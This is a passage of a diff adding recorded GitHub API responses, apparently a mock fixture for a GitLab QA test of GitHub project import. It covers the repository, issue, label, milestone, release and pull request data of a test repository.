+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "permissions": {
+ "admin": false,
+ "maintain": false,
+ "pull": true,
+ "push": false,
+ "triage": false
+ },
+ "private": false,
+ "pulls_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls{/number}",
+ "pushed_at": "2022-10-24T08:06:37Z",
+ "releases_url": "https://api.github.com/repos/gitlab-qa-github/import-test/releases{/id}",
+ "size": 4,
+ "ssh_url": "git@github.com:gitlab-qa-github/import-test.git",
+ "stargazers_count": 0,
+ "stargazers_url": "https://api.github.com/repos/gitlab-qa-github/import-test/stargazers",
+ "statuses_url": "https://api.github.com/repos/gitlab-qa-github/import-test/statuses/{sha}",
+ "subscribers_count": 1,
+ "subscribers_url": "https://api.github.com/repos/gitlab-qa-github/import-test/subscribers",
+ "subscription_url": "https://api.github.com/repos/gitlab-qa-github/import-test/subscription",
+ "svn_url": "https://github.com/gitlab-qa-github/import-test",
+ "tags_url": "https://api.github.com/repos/gitlab-qa-github/import-test/tags",
+ "teams_url": "https://api.github.com/repos/gitlab-qa-github/import-test/teams",
+ "temp_clone_token": "",
+ "topics": [],
+ "trees_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/trees{/sha}",
+ "updated_at": "2022-07-07T10:11:28Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test",
+ "visibility": "public",
+ "watchers": 0,
+ "watchers_count": 0,
+ "web_commit_signoff_required": false
+ }
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/issues
+ method: GET
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "active_lock_reason": null,
+ "assignee": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "assignees": [
+ {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ ],
+ "author_association": "OWNER",
+ "body": "Test pull request body",
+ "closed_at": null,
+ "comments": 1,
+ "comments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/comments",
+ "created_at": "2022-03-07T07:58:10Z",
+ "draft": false,
+ "events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/events",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2",
+ "id": 1161030385,
+ "labels": [
+ {
+ "color": "0075ca",
+ "default": true,
+ "description": "Improvements or additions to documentation",
+ "id": 3902072341,
+ "name": "documentation",
+ "node_id": "LA_kwDOG9XHMM7olOYV",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/documentation"
+ }
+ ],
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/labels{/name}",
+ "locked": false,
+ "milestone": {
+ "closed_at": null,
+ "closed_issues": 0,
+ "created_at": "2022-03-07T07:54:43Z",
+ "creator": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "description": null,
+ "due_on": null,
+ "html_url": "https://github.com/gitlab-qa-github/import-test/milestone/1",
+ "id": 7741550,
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones/1/labels",
+ "node_id": "MI_kwDOG9XHMM4AdiBu",
+ "number": 1,
+ "open_issues": 2,
+ "state": "open",
+ "title": "0.0.1",
+ "updated_at": "2022-07-07T10:01:32Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones/1"
+ },
+ "node_id": "PR_kwDOG9XHMM40Bfnz",
+ "number": 2,
+ "performed_via_github_app": null,
+ "pull_request": {
+ "diff_url": "https://github.com/gitlab-qa-github/import-test/pull/2.diff",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2",
+ "merged_at": null,
+ "patch_url": "https://github.com/gitlab-qa-github/import-test/pull/2.patch",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2"
+ },
+ "reactions": {
+ "+1": 0,
+ "-1": 0,
+ "confused": 0,
+ "eyes": 0,
+ "heart": 0,
+ "hooray": 0,
+ "laugh": 0,
+ "rocket": 0,
+ "total_count": 0,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/reactions"
+ },
+ "repository_url": "https://api.github.com/repos/gitlab-qa-github/import-test",
+ "state": "open",
+ "state_reason": null,
+ "timeline_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/timeline",
+ "title": "Test pull request",
+ "updated_at": "2022-12-27T09:57:21Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/labels
+ method: GET
+ query_params:
+ per_page: '100'
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "color": "d73a4a",
+ "default": true,
+ "description": "Something isn't working",
+ "id": 3902072340,
+ "name": "bug",
+ "node_id": "LA_kwDOG9XHMM7olOYU",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/bug"
+ },
+ {
+ "color": "0075ca",
+ "default": true,
+ "description": "Improvements or additions to documentation",
+ "id": 3902072341,
+ "name": "documentation",
+ "node_id": "LA_kwDOG9XHMM7olOYV",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/documentation"
+ },
+ {
+ "color": "cfd3d7",
+ "default": true,
+ "description": "This issue or pull request already exists",
+ "id": 3902072342,
+ "name": "duplicate",
+ "node_id": "LA_kwDOG9XHMM7olOYW",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/duplicate"
+ },
+ {
+ "color": "a2eeef",
+ "default": true,
+ "description": "New feature or request",
+ "id": 3902072343,
+ "name": "enhancement",
+ "node_id": "LA_kwDOG9XHMM7olOYX",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/enhancement"
+ },
+ {
+ "color": "7057ff",
+ "default": true,
+ "description": "Good for newcomers",
+ "id": 3902072345,
+ "name": "good first issue",
+ "node_id": "LA_kwDOG9XHMM7olOYZ",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/good%20first%20issue"
+ },
+ {
+ "color": "008672",
+ "default": true,
+ "description": "Extra attention is needed",
+ "id": 3902072344,
+ "name": "help wanted",
+ "node_id": "LA_kwDOG9XHMM7olOYY",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/help%20wanted"
+ },
+ {
+ "color": "e4e669",
+ "default": true,
+ "description": "This doesn't seem right",
+ "id": 3902072346,
+ "name": "invalid",
+ "node_id": "LA_kwDOG9XHMM7olOYa",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/invalid"
+ },
+ {
+ "color": "d876e3",
+ "default": true,
+ "description": "Further information is requested",
+ "id": 3902072347,
+ "name": "question",
+ "node_id": "LA_kwDOG9XHMM7olOYb",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/question"
+ },
+ {
+ "color": "ffffff",
+ "default": true,
+ "description": "This will not be worked on",
+ "id": 3902072348,
+ "name": "wontfix",
+ "node_id": "LA_kwDOG9XHMM7olOYc",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/wontfix"
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/milestones
+ method: GET
+ query_params:
+ per_page: '100'
+ state: all
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "closed_at": null,
+ "closed_issues": 0,
+ "created_at": "2022-03-07T07:54:43Z",
+ "creator": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "description": null,
+ "due_on": null,
+ "html_url": "https://github.com/gitlab-qa-github/import-test/milestone/1",
+ "id": 7741550,
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones/1/labels",
+ "node_id": "MI_kwDOG9XHMM4AdiBu",
+ "number": 1,
+ "open_issues": 2,
+ "state": "open",
+ "title": "0.0.1",
+ "updated_at": "2022-07-07T10:01:32Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones/1"
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/releases
+ method: GET
+ query_params:
+ per_page: '100'
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "assets": [],
+ "assets_url": "https://api.github.com/repos/gitlab-qa-github/import-test/releases/61117625/assets",
+ "author": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "body": "Initial release",
+ "created_at": "2022-03-07T07:59:22Z",
+ "draft": false,
+ "html_url": "https://github.com/gitlab-qa-github/import-test/releases/tag/0.0.1",
+ "id": 61117625,
+ "name": "0.0.1",
+ "node_id": "RE_kwDOG9XHMM4DpJS5",
+ "prerelease": false,
+ "published_at": "2022-03-07T08:02:09Z",
+ "tag_name": "0.0.1",
+ "tarball_url": "https://api.github.com/repos/gitlab-qa-github/import-test/tarball/0.0.1",
+ "target_commitish": "main",
+ "upload_url": "https://uploads.github.com/repos/gitlab-qa-github/import-test/releases/61117625/assets{?name,label}",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/releases/61117625",
+ "zipball_url": "https://api.github.com/repos/gitlab-qa-github/import-test/zipball/0.0.1"
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/pulls
+ method: GET
+ query_params:
+ per_page: '100'
+ sort: created
+ state: all
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "_links": {
+ "comments": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/comments"
+ },
+ "commits": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2/commits"
+ },
+ "html": {
+ "href": "https://github.com/gitlab-qa-github/import-test/pull/2"
+ },
+ "issue": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2"
+ },
+ "review_comment": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/comments{/number}"
+ },
+ "review_comments": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2/comments"
+ },
+ "self": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2"
+ },
+ "statuses": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/statuses/05938cc9b0773f49bf800ceabcaa01b389a5d943"
+ }
+ },
+ "active_lock_reason": null,
+ "assignee": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "assignees": [
+ {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ ],
+ "author_association": "OWNER",
+ "auto_merge": null,
+ "base": {
+ "label": "gitlab-qa-github:main",
+ "ref": "main",
+ "repo": {
+ "allow_forking": true,
+ "archive_url": "https://api.github.com/repos/gitlab-qa-github/import-test/{archive_format}{/ref}",
+ "archived": false,
+ "assignees_url": "https://api.github.com/repos/gitlab-qa-github/import-test/assignees{/user}",
+ "blobs_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/blobs{/sha}",
+ "branches_url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches{/branch}",
+ "clone_url": "https://github.com/gitlab-qa-github/import-test.git",
+ "collaborators_url": "https://api.github.com/repos/gitlab-qa-github/import-test/collaborators{/collaborator}",
+ "comments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/comments{/number}",
+ "commits_url": "https://api.github.com/repos/gitlab-qa-github/import-test/commits{/sha}",
+ "compare_url": "https://api.github.com/repos/gitlab-qa-github/import-test/compare/{base}...{head}",
+ "contents_url": "https://api.github.com/repos/gitlab-qa-github/import-test/contents/{+path}",
+ "contributors_url": "https://api.github.com/repos/gitlab-qa-github/import-test/contributors",
+ "created_at": "2022-03-07T07:53:43Z",
+ "default_branch": "main",
+ "deployments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/deployments",
+ "description": "Project for github import test",
+ "disabled": false,
+ "downloads_url": "https://api.github.com/repos/gitlab-qa-github/import-test/downloads",
+ "events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/events",
+ "fork": false,
+ "forks": 0,
+ "forks_count": 0,
+ "forks_url": "https://api.github.com/repos/gitlab-qa-github/import-test/forks",
+ "full_name": "gitlab-qa-github/import-test",
+ "git_commits_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/commits{/sha}",
+ "git_refs_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/refs{/sha}",
+ "git_tags_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/tags{/sha}",
+ "git_url": "git://github.com/gitlab-qa-github/import-test.git",
+ "has_discussions": false,
+ "has_downloads": true,
+ "has_issues": true,
+ "has_pages": false,
+ "has_projects": true,
+ "has_wiki": true,
+ "homepage": null,
+ "hooks_url": "https://api.github.com/repos/gitlab-qa-github/import-test/hooks",
+ "html_url": "https://github.com/gitlab-qa-github/import-test",
+ "id": 466994992,
+ "is_template": false,
+ "issue_comment_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments{/number}",
+ "issue_events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events{/number}",
+ "issues_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues{/number}",
+ "keys_url": "https://api.github.com/repos/gitlab-qa-github/import-test/keys{/key_id}",
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels{/name}",
+ "language": null,
+ "languages_url": "https://api.github.com/repos/gitlab-qa-github/import-test/languages",
+ "license": {
+ "key": "mit",
+ "name": "MIT License",
+ "node_id": "MDc6TGljZW5zZTEz",
+ "spdx_id": "MIT",
+ "url": "https://api.github.com/licenses/mit"
+ },
+ "merges_url": "https://api.github.com/repos/gitlab-qa-github/import-test/merges",
+ "milestones_url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones{/number}",
+ "mirror_url": null,
+ "name": "import-test",
+ "node_id": "R_kgDOG9XHMA",
+ "notifications_url": "https://api.github.com/repos/gitlab-qa-github/import-test/notifications{?since,all,participating}",
+ "open_issues": 2,
+ "open_issues_count": 2,
+ "owner": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "private": false,
+ "pulls_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls{/number}",
+ "pushed_at": "2022-10-24T08:06:37Z",
+ "releases_url": "https://api.github.com/repos/gitlab-qa-github/import-test/releases{/id}",
+ "size": 4,
+ "ssh_url": "git@github.com:gitlab-qa-github/import-test.git",
+ "stargazers_count": 0,
+ "stargazers_url": "https://api.github.com/repos/gitlab-qa-github/import-test/stargazers",
+ "statuses_url": "https://api.github.com/repos/gitlab-qa-github/import-test/statuses/{sha}",
+ "subscribers_url": "https://api.github.com/repos/gitlab-qa-github/import-test/subscribers",
+ "subscription_url": "https://api.github.com/repos/gitlab-qa-github/import-test/subscription",
+ "svn_url": "https://github.com/gitlab-qa-github/import-test",
+ "tags_url": "https://api.github.com/repos/gitlab-qa-github/import-test/tags",
+ "teams_url": "https://api.github.com/repos/gitlab-qa-github/import-test/teams",
+ "topics": [],
+ "trees_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/trees{/sha}",
+ "updated_at": "2022-07-07T10:11:28Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test",
+ "visibility": "public",
+ "watchers": 0,
+ "watchers_count": 0,
+ "web_commit_signoff_required": false
+ },
+ "sha": "61ae9e670fdcd0a35e37a7faf7489969564accc1",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ },
+ "body": "Test pull request body",
+ "closed_at": null,
+ "comments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/comments",
+ "commits_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2/commits",
+ "created_at": "2022-03-07T07:58:10Z",
+ "diff_url": "https://github.com/gitlab-qa-github/import-test/pull/2.diff",
+ "draft": false,
+ "head": {
+ "label": "gitlab-qa-github:gitlab-qa-github-patch-1",
+ "ref": "gitlab-qa-github-patch-1",
+ "repo": {
+ "allow_forking": true,
+ "archive_url": "https://api.github.com/repos/gitlab-qa-github/import-test/{archive_format}{/ref}",
+ "archived": false,
+ "assignees_url": "https://api.github.com/repos/gitlab-qa-github/import-test/assignees{/user}",
+ "blobs_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/blobs{/sha}",
+ "branches_url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches{/branch}",
+ "clone_url": "https://github.com/gitlab-qa-github/import-test.git",
+ "collaborators_url": "https://api.github.com/repos/gitlab-qa-github/import-test/collaborators{/collaborator}",
+ "comments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/comments{/number}",
+ "commits_url": "https://api.github.com/repos/gitlab-qa-github/import-test/commits{/sha}",
+ "compare_url": "https://api.github.com/repos/gitlab-qa-github/import-test/compare/{base}...{head}",
+ "contents_url": "https://api.github.com/repos/gitlab-qa-github/import-test/contents/{+path}",
+ "contributors_url": "https://api.github.com/repos/gitlab-qa-github/import-test/contributors",
+ "created_at": "2022-03-07T07:53:43Z",
+ "default_branch": "main",
+ "deployments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/deployments",
+ "description": "Project for github import test",
+ "disabled": false,
+ "downloads_url": "https://api.github.com/repos/gitlab-qa-github/import-test/downloads",
+ "events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/events",
+ "fork": false,
+ "forks": 0,
+ "forks_count": 0,
+ "forks_url": "https://api.github.com/repos/gitlab-qa-github/import-test/forks",
+ "full_name": "gitlab-qa-github/import-test",
+ "git_commits_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/commits{/sha}",
+ "git_refs_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/refs{/sha}",
+ "git_tags_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/tags{/sha}",
+ "git_url": "git://github.com/gitlab-qa-github/import-test.git",
+ "has_discussions": false,
+ "has_downloads": true,
+ "has_issues": true,
+ "has_pages": false,
+ "has_projects": true,
+ "has_wiki": true,
+ "homepage": null,
+ "hooks_url": "https://api.github.com/repos/gitlab-qa-github/import-test/hooks",
+ "html_url": "https://github.com/gitlab-qa-github/import-test",
+ "id": 466994992,
+ "is_template": false,
+ "issue_comment_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments{/number}",
+ "issue_events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events{/number}",
+ "issues_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues{/number}",
+ "keys_url": "https://api.github.com/repos/gitlab-qa-github/import-test/keys{/key_id}",
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels{/name}",
+ "language": null,
+ "languages_url": "https://api.github.com/repos/gitlab-qa-github/import-test/languages",
+ "license": {
+ "key": "mit",
+ "name": "MIT License",
+ "node_id": "MDc6TGljZW5zZTEz",
+ "spdx_id": "MIT",
